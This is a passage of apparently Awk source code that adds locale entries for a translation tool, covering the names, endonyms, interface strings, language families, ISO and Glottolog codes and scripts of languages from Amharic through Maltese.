+Locale["am"]["endonym"] = "አማርኛ" +Locale["am"]["translations-of"] = "የ %s ትርጉሞች" +Locale["am"]["definitions-of"] = "የ %s ቃላት ፍችዎች" +Locale["am"]["synonyms"] = "ተመሳሳይ ቃላት" +Locale["am"]["examples"] = "ምሳሌዎች" +Locale["am"]["see-also"] = "የሚከተለውንም ይመልከቱ" +Locale["am"]["family"] = "Afro-Asiatic" +Locale["am"]["iso"] = "amh" +Locale["am"]["glotto"] = "amha1245" +Locale["am"]["script"] = "Ethi" +Locale["ar"]["name"] = "Arabic" +Locale["ar"]["endonym"] = "العربية" +Locale["ar"]["translations-of"] = "ترجمات %s" +Locale["ar"]["definitions-of"] = "تعريفات %s" +Locale["ar"]["synonyms"] = "مرادفات" +Locale["ar"]["examples"] = "أمثلة" +Locale["ar"]["see-also"] = "انظر أيضًا" +Locale["ar"]["family"] = "Afro-Asiatic" +Locale["ar"]["iso"] = "ara" +Locale["ar"]["glotto"] = "stan1318" +Locale["ar"]["script"] = "Arab" +Locale["ar"]["rtl"] = "true" +Locale["hy"]["name"] = "Armenian" +Locale["hy"]["endonym"] = "Հայերեն" +Locale["hy"]["translations-of"] = "%s-ի թարգմանությունները" +Locale["hy"]["definitions-of"] = "%s-ի սահմանումները" +Locale["hy"]["synonyms"] = "Հոմանիշներ" +Locale["hy"]["examples"] = "Օրինակներ" +Locale["hy"]["see-also"] = "Տես նաև" +Locale["hy"]["family"] = "Indo-European" +Locale["hy"]["iso"] = "hye" +Locale["hy"]["glotto"] = "nucl1235" +Locale["hy"]["script"] = "Armn" +Locale["az"]["name"] = "Azerbaijani" +Locale["az"]["endonym"] = "Azərbaycanca" +Locale["az"]["translations-of"] = "%s sözünün tərcüməsi" +Locale["az"]["definitions-of"] = "%s sözünün tərifləri" +Locale["az"]["synonyms"] = "Sinonimlər" +Locale["az"]["examples"] = "Nümunələr" +Locale["az"]["see-also"] = "Həmçinin, baxın:" +Locale["az"]["family"] = "Turkic" +Locale["az"]["iso"] = "aze" +Locale["az"]["glotto"] = "nort2697" +Locale["az"]["script"] = "Latn" +Locale["eu"]["name"] = "Basque" +Locale["eu"]["endonym"] = "Euskara" +Locale["eu"]["translations-of"] = "%s esapidearen itzulpena" +Locale["eu"]["definitions-of"] = "Honen definizioak: %s" +Locale["eu"]["synonyms"] = "Sinonimoak" +Locale["eu"]["examples"] = "Adibideak" +Locale["eu"]["see-also"] = "Ikusi hauek ere" +Locale["eu"]["family"] = "Language Isolate" +Locale["eu"]["iso"] = "eus" +Locale["eu"]["glotto"] = "basq1248" +Locale["eu"]["script"] = "Latn" +Locale["be"]["name"] = "Belarusian" +Locale["be"]["endonym"] = "беларуская" +Locale["be"]["translations-of"] = "Пераклады %s" +Locale["be"]["definitions-of"] = "Вызначэннi %s" +Locale["be"]["synonyms"] = "Сінонімы" +Locale["be"]["examples"] = "Прыклады" +Locale["be"]["see-also"] = "Гл. таксама" +Locale["be"]["family"] = "Indo-European" +Locale["be"]["iso"] = "bel" +Locale["be"]["glotto"] = "bela1254" +Locale["be"]["script"] = "Cyrl" +Locale["bn"]["name"] = "Bengali" +Locale["bn"]["endonym"] = "বাংলা" +Locale["bn"]["translations-of"] = "%s এর অনুবাদ" +Locale["bn"]["definitions-of"] = "%s এর সংজ্ঞা" +Locale["bn"]["synonyms"] = "প্রতিশব্দ" +Locale["bn"]["examples"] = "উদাহরণ" +Locale["bn"]["see-also"] = "আরো দেখুন" +Locale["bn"]["family"] = "Indo-European" +Locale["bn"]["iso"] = "ben" +Locale["bn"]["glotto"] = "beng1280" +Locale["bn"]["script"] = "Beng" +Locale["bs"]["name"] = "Bosnian" +Locale["bs"]["endonym"] = "Bosanski" +Locale["bs"]["translations-of"] = "Prijevod za: %s" +Locale["bs"]["definitions-of"] = "Definicije za %s" +Locale["bs"]["synonyms"] = "Sinonimi" +Locale["bs"]["examples"] = "Primjeri" +Locale["bs"]["see-also"] = "Pogledajte i" +Locale["bs"]["family"] = "Indo-European" +Locale["bs"]["iso"] = "bos" +Locale["bs"]["glotto"] = "bosn1245" +Locale["bs"]["script"] = "Latn" +Locale["bg"]["name"] = "Bulgarian" +Locale["bg"]["endonym"] = "български" +Locale["bg"]["translations-of"] = "Преводи на %s" +Locale["bg"]["definitions-of"] = "Дефиниции за %s" +Locale["bg"]["synonyms"] = "Синоними" +Locale["bg"]["examples"] = "Примери" +Locale["bg"]["see-also"] = "Вижте също" +Locale["bg"]["family"] = "Indo-European" +Locale["bg"]["iso"] = "bul" +Locale["bg"]["glotto"] = "bulg1262" +Locale["bg"]["script"] = "Cyrl" +Locale["ca"]["name"] = "Catalan" +Locale["ca"]["endonym"] = "Català" +Locale["ca"]["translations-of"] = "Traduccions per a %s" +Locale["ca"]["definitions-of"] = "Definicions de: %s" +Locale["ca"]["synonyms"] = "Sinònims" +Locale["ca"]["examples"] = "Exemples" +Locale["ca"]["see-also"] = "Vegeu també" +Locale["ca"]["family"] = "Indo-European" +Locale["ca"]["iso"] = "cat" +Locale["ca"]["glotto"] = "stan1289" +Locale["ca"]["script"] = "Latn" +Locale["ceb"]["name"] = "Cebuano" +Locale["ceb"]["endonym"] = "Cebuano" +Locale["ceb"]["translations-of"] = "%s Mga Paghubad sa PULONG_O_HUGPONG SA PAMULONG" +Locale["ceb"]["definitions-of"] = "Mga kahulugan sa %s" +Locale["ceb"]["synonyms"] = "Mga Kapulong" +Locale["ceb"]["examples"] = "Mga pananglitan:" +Locale["ceb"]["see-also"] = "Kitaa pag-usab" +Locale["ceb"]["family"] = "Austronesian" +Locale["ceb"]["iso"] = "ceb" +Locale["ceb"]["glotto"] = "cebu1242" +Locale["ceb"]["script"] = "Latn" +Locale["ny"]["name"] = "Chichewa" +Locale["ny"]["endonym"] = "Nyanja" +Locale["ny"]["translations-of"] = "Matanthauzidwe a %s" +Locale["ny"]["definitions-of"] = "Mamasulidwe a %s" +Locale["ny"]["synonyms"] = "Mau ofanana" +Locale["ny"]["examples"] = "Zitsanzo" +Locale["ny"]["see-also"] = "Onaninso" +Locale["ny"]["family"] = "Atlantic-Congo" +Locale["ny"]["iso"] = "nya" +Locale["ny"]["glotto"] = "nyan1308" +Locale["ny"]["script"] = "Latn" +Locale["zh-CN"]["name"] = "Chinese Simplified" +Locale["zh-CN"]["endonym"] = "简体中文" +Locale["zh-CN"]["translations-of"] = "%s 的翻译" +Locale["zh-CN"]["definitions-of"] = "%s的定义" +Locale["zh-CN"]["synonyms"] = "同义词" +Locale["zh-CN"]["examples"] = "示例" +Locale["zh-CN"]["see-also"] = "另请参阅" +Locale["zh-CN"]["family"] = "Sino-Tibetan" +Locale["zh-CN"]["iso"] = "zho-CN" +Locale["zh-CN"]["glotto"] = "mand1415" +Locale["zh-CN"]["script"] = "Hans" +Locale["zh-CN"]["dictionary"] = "true" +Locale["zh-TW"]["name"] = "Chinese Traditional" +Locale["zh-TW"]["endonym"] = "正體中文" +Locale["zh-TW"]["translations-of"] = "「%s」的翻譯" +Locale["zh-TW"]["definitions-of"] = "「%s」的定義" +Locale["zh-TW"]["synonyms"] = "同義詞" +Locale["zh-TW"]["examples"] = "例句" +Locale["zh-TW"]["see-also"] = "另請參閱" +Locale["zh-TW"]["family"] = "Sino-Tibetan" +Locale["zh-TW"]["iso"] = "zho-TW" +Locale["zh-TW"]["glotto"] = "mand1415" +Locale["zh-TW"]["script"] = "Hant" +Locale["zh-TW"]["dictionary"] = "true" +Locale["co"]["name"] = "Corsican" +Locale["co"]["endonym"] = "Corsu" +Locale["co"]["translations-of"] = "Traductions de %s" +Locale["co"]["definitions-of"] = "Définitions de %s" +Locale["co"]["synonyms"] = "Synonymes" +Locale["co"]["examples"] = "Exemples" +Locale["co"]["see-also"] = "Voir aussi" +Locale["co"]["family"] = "Indo-European" +Locale["co"]["iso"] = "cos" +Locale["co"]["glotto"] = "cors1242" +Locale["co"]["script"] = "Latn" +Locale["hr"]["name"] = "Croatian" +Locale["hr"]["endonym"] = "Hrvatski" +Locale["hr"]["translations-of"] = "Prijevodi riječi ili izraza %s" +Locale["hr"]["definitions-of"] = "Definicije riječi ili izraza %s" +Locale["hr"]["synonyms"] = "Sinonimi" +Locale["hr"]["examples"] = "Primjeri" +Locale["hr"]["see-also"] = "Također pogledajte" +Locale["hr"]["family"] = "Indo-European" +Locale["hr"]["iso"] = "hrv" +Locale["hr"]["glotto"] = "croa1245" +Locale["hr"]["script"] = "Latn" +Locale["cs"]["name"] = "Czech" +Locale["cs"]["endonym"] = "Čeština" +Locale["cs"]["translations-of"] = "Překlad výrazu %s" +Locale["cs"]["definitions-of"] = "Definice výrazu %s" +Locale["cs"]["synonyms"] = "Synonyma" +Locale["cs"]["examples"] = "Příklady" +Locale["cs"]["see-also"] = "Viz také" +Locale["cs"]["family"] = "Indo-European" +Locale["cs"]["iso"] = "ces" +Locale["cs"]["glotto"] = "czec1258" +Locale["cs"]["script"] = "Latn" +Locale["da"]["name"] = "Danish" +Locale["da"]["endonym"] = "Dansk" +Locale["da"]["translations-of"] = "Oversættelser af %s" +Locale["da"]["definitions-of"] = "Definitioner af %s" +Locale["da"]["synonyms"] = "Synonymer" +Locale["da"]["examples"] = "Eksempler" +Locale["da"]["see-also"] = "Se også" +Locale["da"]["family"] = "Indo-European" +Locale["da"]["iso"] = "dan" +Locale["da"]["glotto"] = "dani1285" +Locale["da"]["script"] = "Latn" +Locale["nl"]["name"] = "Dutch" +Locale["nl"]["endonym"] = "Nederlands" +Locale["nl"]["translations-of"] = "Vertalingen van %s" +Locale["nl"]["definitions-of"] = "Definities van %s" +Locale["nl"]["synonyms"] = "Synoniemen" +Locale["nl"]["examples"] = "Voorbeelden" +Locale["nl"]["see-also"] = "Zie ook" +Locale["nl"]["family"] = "Indo-European" +Locale["nl"]["iso"] = "nld" +Locale["nl"]["glotto"] = "dutc1256" +Locale["nl"]["script"] = "Latn" +Locale["nl"]["dictionary"] = "true" +Locale["en"]["name"] = "English" +Locale["en"]["endonym"] = "English" +Locale["en"]["translations-of"] = "Translations of %s" +Locale["en"]["definitions-of"] = "Definitions of %s" +Locale["en"]["synonyms"] = "Synonyms" +Locale["en"]["examples"] = "Examples" +Locale["en"]["see-also"] = "See also" +Locale["en"]["family"] = "Indo-European" +Locale["en"]["iso"] = "eng" +Locale["en"]["glotto"] = "stan1293" +Locale["en"]["script"] = "Latn" +Locale["en"]["dictionary"] = "true" +Locale["eo"]["name"] = "Esperanto" +Locale["eo"]["endonym"] = "Esperanto" +Locale["eo"]["translations-of"] = "Tradukoj de %s" +Locale["eo"]["definitions-of"] = "Difinoj de %s" +Locale["eo"]["synonyms"] = "Sinonimoj" +Locale["eo"]["examples"] = "Ekzemploj" +Locale["eo"]["see-also"] = "Vidu ankaŭ" +Locale["eo"]["family"] = "Artificial Language" +Locale["eo"]["iso"] = "epo" +Locale["eo"]["glotto"] = "espe1235" +Locale["eo"]["script"] = "Latn" +Locale["et"]["name"] = "Estonian" +Locale["et"]["endonym"] = "Eesti" +Locale["et"]["translations-of"] = "Sõna(de) %s tõlked" +Locale["et"]["definitions-of"] = "Sõna(de) %s definitsioonid" +Locale["et"]["synonyms"] = "Sünonüümid" +Locale["et"]["examples"] = "Näited" +Locale["et"]["see-also"] = "Vt ka" +Locale["et"]["family"] = "Uralic" +Locale["et"]["iso"] = "est" +Locale["et"]["glotto"] = "esto1258" +Locale["et"]["script"] = "Latn" +Locale["tl"]["name"] = "Filipino" +Locale["tl"]["endonym"] = "Tagalog" +Locale["tl"]["translations-of"] = "Mga pagsasalin ng %s" +Locale["tl"]["definitions-of"] = "Mga kahulugan ng %s" +Locale["tl"]["synonyms"] = "Mga Kasingkahulugan" +Locale["tl"]["examples"] = "Mga Halimbawa" +Locale["tl"]["see-also"] = "Tingnan rin ang" +Locale["tl"]["family"] = "Austronesian" +Locale["tl"]["iso"] = "tgl" +Locale["tl"]["glotto"] = "taga1270" +Locale["tl"]["script"] = "Latn" +Locale["fi"]["name"] = "Finnish" +Locale["fi"]["endonym"] = "Suomi" +Locale["fi"]["translations-of"] = "Käännökset tekstille %s" +Locale["fi"]["definitions-of"] = "Määritelmät kohteelle %s" +Locale["fi"]["synonyms"] = "Synonyymit" +Locale["fi"]["examples"] = "Esimerkkejä" +Locale["fi"]["see-also"] = "Katso myös" +Locale["fi"]["family"] = "Uralic" +Locale["fi"]["iso"] = "fin" +Locale["fi"]["glotto"] = "finn1318" +Locale["fi"]["script"] = "Latn" +Locale["fr"]["name"] = "French" +Locale["fr"]["endonym"] = "Français" +Locale["fr"]["translations-of"] = "Traductions de %s" +Locale["fr"]["definitions-of"] = "Définitions de %s" +Locale["fr"]["synonyms"] = "Synonymes" +Locale["fr"]["examples"] = "Exemples" +Locale["fr"]["see-also"] = "Voir aussi" +Locale["fr"]["family"] = "Indo-European" +Locale["fr"]["iso"] = "fra" +Locale["fr"]["glotto"] = "stan1290" +Locale["fr"]["script"] = "Latn" +Locale["fr"]["dictionary"] = "true" +Locale["gl"]["name"] = "Galician" +Locale["gl"]["endonym"] = "Galego" +Locale["gl"]["translations-of"] = "Traducións de %s" +Locale["gl"]["definitions-of"] = "Definicións de %s" +Locale["gl"]["synonyms"] = "Sinónimos" +Locale["gl"]["examples"] = "Exemplos" +Locale["gl"]["see-also"] = "Ver tamén" +Locale["gl"]["family"] = "Indo-European" +Locale["gl"]["iso"] = "glg" +Locale["gl"]["glotto"] = "gali1258" +Locale["gl"]["script"] = "Latn" +Locale["ka"]["name"] = "Georgian" +Locale["ka"]["endonym"] = "ქართული" +Locale["ka"]["translations-of"] = "%s-ის თარგმანები" +Locale["ka"]["definitions-of"] = "%s-ის განსაზღვრებები" +Locale["ka"]["synonyms"] = "სინონიმები" +Locale["ka"]["examples"] = "მაგალითები" +Locale["ka"]["see-also"] = "ასევე იხილეთ" +Locale["ka"]["family"] = "Kartvelian" +Locale["ka"]["iso"] = "kat" +Locale["ka"]["glotto"] = "nucl1302" +Locale["ka"]["script"] = "Geor" +Locale["de"]["name"] = "German" +Locale["de"]["endonym"] = "Deutsch" +Locale["de"]["translations-of"] = "Übersetzungen für %s" +Locale["de"]["definitions-of"] = "Definitionen von %s" +Locale["de"]["synonyms"] = "Synonyme" +Locale["de"]["examples"] = "Beispiele" +Locale["de"]["see-also"] = "Siehe auch" +Locale["de"]["family"] = "Indo-European" +Locale["de"]["iso"] = "deu" +Locale["de"]["glotto"] = "stan1295" +Locale["de"]["script"] = "Latn" +Locale["de"]["dictionary"] = "true" +Locale["el"]["name"] = "Greek" +Locale["el"]["endonym"] = "Ελληνικά" +Locale["el"]["translations-of"] = "Μεταφράσεις του %s" +Locale["el"]["definitions-of"] = "Όρισμοί %s" +Locale["el"]["synonyms"] = "Συνώνυμα" +Locale["el"]["examples"] = "Παραδείγματα" +Locale["el"]["see-also"] = "Δείτε επίσης" +Locale["el"]["family"] = "Indo-European" +Locale["el"]["iso"] = "ell" +Locale["el"]["glotto"] = "mode1248" +Locale["el"]["script"] = "Grek" +Locale["gu"]["name"] = "Gujarati" +Locale["gu"]["endonym"] = "ગુજરાતી" +Locale["gu"]["translations-of"] = "%s ના અનુવાદ" +Locale["gu"]["definitions-of"] = "%s ની વ્યાખ્યાઓ" +Locale["gu"]["synonyms"] = "સમાનાર્થી" +Locale["gu"]["examples"] = "ઉદાહરણો" +Locale["gu"]["see-also"] = "આ પણ જુઓ" +Locale["gu"]["family"] = "Indo-European" +Locale["gu"]["iso"] = "guj" +Locale["gu"]["glotto"] = "guja1252" +Locale["gu"]["script"] = "Gujr" +Locale["ht"]["name"] = "Haitian Creole" +Locale["ht"]["endonym"] = "Kreyòl Ayisyen" +Locale["ht"]["translations-of"] = "Tradiksyon %s" +Locale["ht"]["definitions-of"] = "Definisyon nan %s" +Locale["ht"]["synonyms"] = "Sinonim" +Locale["ht"]["examples"] = "Egzanp:" +Locale["ht"]["see-also"] = "Wè tou" +Locale["ht"]["family"] = "Indo-European" +Locale["ht"]["iso"] = "hat" +Locale["ht"]["glotto"] = "hait1244" +Locale["ht"]["script"] = "Latn" +Locale["haw"]["name"] = "Hawaiian" +Locale["haw"]["endonym"] = "ʻŌlelo Hawaiʻi" +Locale["haw"]["family"] = "Austronesian" +Locale["haw"]["iso"] = "haw" +Locale["haw"]["glotto"] = "hawa1245" +Locale["haw"]["script"] = "Latn" +Locale["ha"]["name"] = "Hausa" +Locale["ha"]["endonym"] = "Hausa" +Locale["ha"]["translations-of"] = "Fassarar %s" +Locale["ha"]["definitions-of"] = "Ma'anoni na %s" +Locale["ha"]["synonyms"] = "Masu kamancin ma'ana" +Locale["ha"]["examples"] = "Misalai" +Locale["ha"]["see-also"] = "Duba kuma" +Locale["ha"]["family"] = "Afro-Asiatic" +Locale["ha"]["iso"] = "hau" +Locale["ha"]["glotto"] = "haus1257" +Locale["ha"]["script"] = "Latn" +Locale["he"]["name"] = "Hebrew" +Locale["he"]["endonym"] = "עִבְרִית" +Locale["he"]["translations-of"] = "תרגומים של %s" +Locale["he"]["definitions-of"] = "הגדרות של %s" +Locale["he"]["synonyms"] = "מילים נרדפות" +Locale["he"]["examples"] = "דוגמאות" +Locale["he"]["see-also"] = "ראה גם" +Locale["he"]["family"] = "Afro-Asiatic" +Locale["he"]["iso"] = "heb" +Locale["he"]["glotto"] = "hebr1245" +Locale["he"]["script"] = "Hebr" +Locale["he"]["rtl"] = "true" +Locale["hi"]["name"] = "Hindi" +Locale["hi"]["endonym"] = "हिन्दी" +Locale["hi"]["translations-of"] = "%s के अनुवाद" +Locale["hi"]["definitions-of"] = "%s की परिभाषाएं" +Locale["hi"]["synonyms"] = "समानार्थी" +Locale["hi"]["examples"] = "उदाहरण" +Locale["hi"]["see-also"] = "यह भी देखें" +Locale["hi"]["family"] = "Indo-European" +Locale["hi"]["iso"] = "hin" +Locale["hi"]["glotto"] = "hind1269" +Locale["hi"]["script"] = "Deva" +Locale["hmn"]["name"] = "Hmong" +Locale["hmn"]["endonym"] = "Hmoob" +Locale["hmn"]["translations-of"] = "Lus txhais: %s" +Locale["hmn"]["family"] = "Hmong-Mien" +Locale["hmn"]["iso"] = "hmn" +Locale["hmn"]["glotto"] = "firs1234" +Locale["hmn"]["script"] = "Latn" +Locale["hu"]["name"] = "Hungarian" +Locale["hu"]["endonym"] = "Magyar" +Locale["hu"]["translations-of"] = "%s fordításai" +Locale["hu"]["definitions-of"] = "%s jelentései" +Locale["hu"]["synonyms"] = "Szinonimák" +Locale["hu"]["examples"] = "Példák" +Locale["hu"]["see-also"] = "Lásd még" +Locale["hu"]["family"] = "Uralic" +Locale["hu"]["iso"] = "hun" +Locale["hu"]["glotto"] = "hung1274" +Locale["hu"]["script"] = "Latn" +Locale["is"]["name"] = "Icelandic" +Locale["is"]["endonym"] = "Íslenska" +Locale["is"]["translations-of"] = "Þýðingar á %s" +Locale["is"]["definitions-of"] = "Skilgreiningar á" +Locale["is"]["synonyms"] = "Samheiti" +Locale["is"]["examples"] = "Dæmi" +Locale["is"]["see-also"] = "Sjá einnig" +Locale["is"]["family"] = "Indo-European" +Locale["is"]["iso"] = "isl" +Locale["is"]["glotto"] = "icel1247" +Locale["is"]["script"] = "Latn" +Locale["ig"]["name"] = "Igbo" +Locale["ig"]["endonym"] = "Igbo" +Locale["ig"]["translations-of"] = "Ntụgharị asụsụ nke %s" +Locale["ig"]["definitions-of"] = "Nkọwapụta nke %s" +Locale["ig"]["synonyms"] = "Okwu oyiri" +Locale["ig"]["examples"] = "Ọmụmaatụ" +Locale["ig"]["see-also"] = "Hụkwuo" +Locale["ig"]["family"] = "Atlantic-Congo" +Locale["ig"]["iso"] = "ibo" +Locale["ig"]["glotto"] = "nucl1417" +Locale["ig"]["script"] = "Latn" +Locale["id"]["name"] = "Indonesian" +Locale["id"]["endonym"] = "Bahasa Indonesia" +Locale["id"]["translations-of"] = "Terjemahan dari %s" +Locale["id"]["definitions-of"] = "Definisi %s" +Locale["id"]["synonyms"] = "Sinonim" +Locale["id"]["examples"] = "Contoh" +Locale["id"]["see-also"] = "Lihat juga" +Locale["id"]["family"] = "Austronesian" +Locale["id"]["iso"] = "ind" +Locale["id"]["glotto"] = "indo1316" +Locale["id"]["script"] = "Latn" +Locale["ga"]["name"] = "Irish" +Locale["ga"]["endonym"] = "Gaeilge" +Locale["ga"]["translations-of"] = "Aistriúcháin ar %s" +Locale["ga"]["definitions-of"] = "Sainmhínithe ar %s" +Locale["ga"]["synonyms"] = "Comhchiallaigh" +Locale["ga"]["examples"] = "Samplaí" +Locale["ga"]["see-also"] = "féach freisin" +Locale["ga"]["family"] = "Indo-European" +Locale["ga"]["iso"] = "gle" +Locale["ga"]["glotto"] = "iris1253" +Locale["ga"]["script"] = "Latn" +Locale["it"]["name"] = "Italian" +Locale["it"]["endonym"] = "Italiano" +Locale["it"]["translations-of"] = "Traduzioni di %s" +Locale["it"]["definitions-of"] = "Definizioni di %s" +Locale["it"]["synonyms"] = "Sinonimi" +Locale["it"]["examples"] = "Esempi" +Locale["it"]["see-also"] = "Vedi anche" +Locale["it"]["family"] = "Indo-European" +Locale["it"]["iso"] = "ita" +Locale["it"]["glotto"] = "ital1282" +Locale["it"]["script"] = "Latn" +Locale["it"]["dictionary"] = "true" +Locale["ja"]["name"] = "Japanese" +Locale["ja"]["endonym"] = "日本語" +Locale["ja"]["translations-of"] = "「%s」の翻訳" +Locale["ja"]["definitions-of"] = "%s の定義" +Locale["ja"]["synonyms"] = "同義語" +Locale["ja"]["examples"] = "例" +Locale["ja"]["see-also"] = "関連項目" +Locale["ja"]["family"] = "Japonic" +Locale["ja"]["iso"] = "jpn" +Locale["ja"]["glotto"] = "nucl1643" +Locale["ja"]["script"] = "Jpan" +Locale["ja"]["dictionary"] = "true" +Locale["jv"]["name"] = "Javanese" +Locale["jv"]["endonym"] = "Basa Jawa" +Locale["jv"]["translations-of"] = "Terjemahan %s" +Locale["jv"]["definitions-of"] = "Arti %s" +Locale["jv"]["synonyms"] = "Sinonim" +Locale["jv"]["examples"] = "Conto" +Locale["jv"]["see-also"] = "Deleng uga" +Locale["jv"]["family"] = "Austronesian" +Locale["jv"]["iso"] = "jav" +Locale["jv"]["glotto"] = "java1254" +Locale["jv"]["script"] = "Latn" +Locale["kn"]["name"] = "Kannada" +Locale["kn"]["endonym"] = "ಕನ್ನಡ" +Locale["kn"]["translations-of"] = "%s ನ ಅನುವಾದಗಳು" +Locale["kn"]["definitions-of"] = "%s ನ ವ್ಯಾಖ್ಯಾನಗಳು" +Locale["kn"]["synonyms"] = "ಸಮಾನಾರ್ಥಕಗಳು" +Locale["kn"]["examples"] = "ಉದಾಹರಣೆಗಳು" +Locale["kn"]["see-also"] = "ಇದನ್ನೂ ಗಮನಿಸಿ" +Locale["kn"]["family"] = "Dravidian" +Locale["kn"]["iso"] = "kan" +Locale["kn"]["glotto"] = "nucl1305" +Locale["kn"]["script"] = "Knda" +Locale["kk"]["name"] = "Kazakh" +Locale["kk"]["endonym"] = "Қазақ тілі" +Locale["kk"]["translations-of"] = "%s аудармалары" +Locale["kk"]["definitions-of"] = "%s анықтамалары" +Locale["kk"]["synonyms"] = "Синонимдер" +Locale["kk"]["examples"] = "Мысалдар" +Locale["kk"]["see-also"] = "Келесі тізімді де көріңіз:" +Locale["kk"]["family"] = "Turkic" +Locale["kk"]["iso"] = "kaz" +Locale["kk"]["glotto"] = "kaza1248" +Locale["kk"]["script"] = "Cyrl" +Locale["km"]["name"] = "Khmer" +Locale["km"]["endonym"] = "ភាសាខ្មែរ" +Locale["km"]["translations-of"] = "ការ​បក​ប្រែ​នៃ %s" +Locale["km"]["definitions-of"] = "និយមន័យ​នៃ​ %s" +Locale["km"]["synonyms"] = "សទិសន័យ" +Locale["km"]["examples"] = "ឧទាហរណ៍" +Locale["km"]["see-also"] = "មើល​ផង​ដែរ" +Locale["km"]["family"] = "Austroasiatic" +Locale["km"]["iso"] = "khm" +Locale["km"]["glotto"] = "cent1989" +Locale["km"]["script"] = "Khmr" +Locale["ko"]["name"] = "Korean" +Locale["ko"]["endonym"] = "한국어" +Locale["ko"]["translations-of"] = "%s의 번역" +Locale["ko"]["definitions-of"] = "%s의 정의" +Locale["ko"]["synonyms"] = "동의어" +Locale["ko"]["examples"] = "예문" +Locale["ko"]["see-also"] = "참조" +Locale["ko"]["family"] = "Koreanic" +Locale["ko"]["iso"] = "kor" +Locale["ko"]["glotto"] = "kore1280" +Locale["ko"]["script"] = "Kore" +Locale["ko"]["dictionary"] = "true" +Locale["ku"]["name"] = "Kurdish" +Locale["ku"]["endonym"] = "Kurdî" +Locale["ku"]["family"] = "Indo-European" +Locale["ku"]["iso"] = "kur" +Locale["ku"]["glotto"] = "kurd1259" +Locale["ku"]["script"] = "Latn" +Locale["ky"]["name"] = "Kyrgyz" +Locale["ky"]["endonym"] = "Кыргызча" +Locale["ky"]["translations-of"] = "%s котормосу" +Locale["ky"]["definitions-of"] = "%s аныктамасы" +Locale["ky"]["synonyms"] = "Синонимдер" +Locale["ky"]["examples"] = "Мисалдар" +Locale["ky"]["see-also"] = "Дагы караңыз" +Locale["ky"]["family"] = "Turkic" +Locale["ky"]["iso"] = "kir" +Locale["ky"]["glotto"] = "kirg1245" +Locale["ky"]["script"] = "Cyrl" +Locale["lo"]["name"] = "Lao" +Locale["lo"]["endonym"] = "ລາວ" +Locale["lo"]["translations-of"] = "ຄຳ​ແປ​ສຳລັບ %s" +Locale["lo"]["definitions-of"] = "ຄວາມໝາຍຂອງ %s" +Locale["lo"]["synonyms"] = "ຄຳທີ່ຄ້າຍກັນ %s" +Locale["lo"]["examples"] = "ຕົວຢ່າງ" +Locale["lo"]["see-also"] = "ເບິ່ງ​ເພີ່ມ​ເຕີມ" +Locale["lo"]["family"] = "Tai-Kadai" +Locale["lo"]["iso"] = "lao" +Locale["lo"]["glotto"] = "laoo1244" +Locale["lo"]["script"] = "Laoo" +Locale["la"]["name"] = "Latin" +Locale["la"]["endonym"] = "Latina" +Locale["la"]["translations-of"] = "Versio de %s" +Locale["la"]["family"] = "Indo-European" +Locale["la"]["iso"] = "lat" +Locale["la"]["glotto"] = "lati1261" +Locale["la"]["script"] = "Latn" +Locale["lv"]["name"] = "Latvian" +Locale["lv"]["endonym"] = "Latviešu" +Locale["lv"]["translations-of"] = "%s tulkojumi" +Locale["lv"]["definitions-of"] = "%s definīcijas" +Locale["lv"]["synonyms"] = "Sinonīmi" +Locale["lv"]["examples"] = "Piemēri" +Locale["lv"]["see-also"] = "Skatiet arī" +Locale["lv"]["family"] = "Indo-European" +Locale["lv"]["iso"] = "lav" +Locale["lv"]["glotto"] = "latv1249" +Locale["lv"]["script"] = "Latn" +Locale["lt"]["name"] = "Lithuanian" +Locale["lt"]["endonym"] = "Lietuvių" +Locale["lt"]["translations-of"] = "„%s“ vertimai" +Locale["lt"]["definitions-of"] = "„%s“ apibrėžimai" +Locale["lt"]["synonyms"] = "Sinonimai" +Locale["lt"]["examples"] = "Pavyzdžiai" +Locale["lt"]["see-also"] = "Taip pat žiūrėkite" +Locale["lt"]["family"] = "Indo-European" +Locale["lt"]["iso"] = "lit" +Locale["lt"]["glotto"] = "lith1251" +Locale["lt"]["script"] = "Latn" +Locale["lb"]["name"] = "Luxembourgish" +Locale["lb"]["endonym"] = "Lëtzebuergesch" +Locale["lb"]["family"] = "Indo-European" +Locale["lb"]["iso"] = "ltz" +Locale["lb"]["glotto"] = "luxe1241" +Locale["lb"]["script"] = "Latn" +Locale["mk"]["name"] = "Macedonian" +Locale["mk"]["endonym"] = "Македонски" +Locale["mk"]["translations-of"] = "Преводи на %s" +Locale["mk"]["definitions-of"] = "Дефиниции на %s" +Locale["mk"]["synonyms"] = "Синоними" +Locale["mk"]["examples"] = "Примери" +Locale["mk"]["see-also"] = "Види и" +Locale["mk"]["family"] = "Indo-European" +Locale["mk"]["iso"] = "mkd" +Locale["mk"]["glotto"] = "mace1250" +Locale["mk"]["script"] = "Cyrl" +Locale["mg"]["name"] = "Malagasy" +Locale["mg"]["endonym"] = "Malagasy" +Locale["mg"]["translations-of"] = "Dikan'ny %s" +Locale["mg"]["definitions-of"] = "Famaritana ny %s" +Locale["mg"]["synonyms"] = "Mitovy hevitra" +Locale["mg"]["examples"] = "Ohatra" +Locale["mg"]["see-also"] = "Jereo ihany koa" +Locale["mg"]["family"] = "Austronesian" +Locale["mg"]["iso"] = "mlg" +Locale["mg"]["glotto"] = "plat1254" +Locale["mg"]["script"] = "Latn" +Locale["ms"]["name"] = "Malay" +Locale["ms"]["endonym"] = "Bahasa Melayu" +Locale["ms"]["translations-of"] = "Terjemahan %s" +Locale["ms"]["definitions-of"] = "Takrif %s" +Locale["ms"]["synonyms"] = "Sinonim" +Locale["ms"]["examples"] = "Contoh" +Locale["ms"]["see-also"] = "Lihat juga" +Locale["ms"]["family"] = "Austronesian" +Locale["ms"]["iso"] = "msa" +Locale["ms"]["glotto"] = "stan1306" +Locale["ms"]["script"] = "Latn" +Locale["ml"]["name"] = "Malayalam" +Locale["ml"]["endonym"] = "മലയാളം" +Locale["ml"]["translations-of"] = "%s എന്നതിന്റെ വിവർത്തനങ്ങൾ" +Locale["ml"]["definitions-of"] = "%s എന്നതിന്റെ നിർവ്വചനങ്ങൾ" +Locale["ml"]["synonyms"] = "പര്യായങ്ങള്‍" +Locale["ml"]["examples"] = "ഉദാഹരണങ്ങള്‍" +Locale["ml"]["see-also"] = "ഇതും കാണുക" +Locale["ml"]["family"] = "Dravidian" +Locale["ml"]["iso"] = "mal" +Locale["ml"]["glotto"] = "mala1464" +Locale["ml"]["script"] = "Mlym" +Locale["mt"]["name"] = "Maltese" +Locale["mt"]["endonym"] = "Malti" +Locale["mt"]["translations-of"] = "Traduzzjonijiet ta' %s" 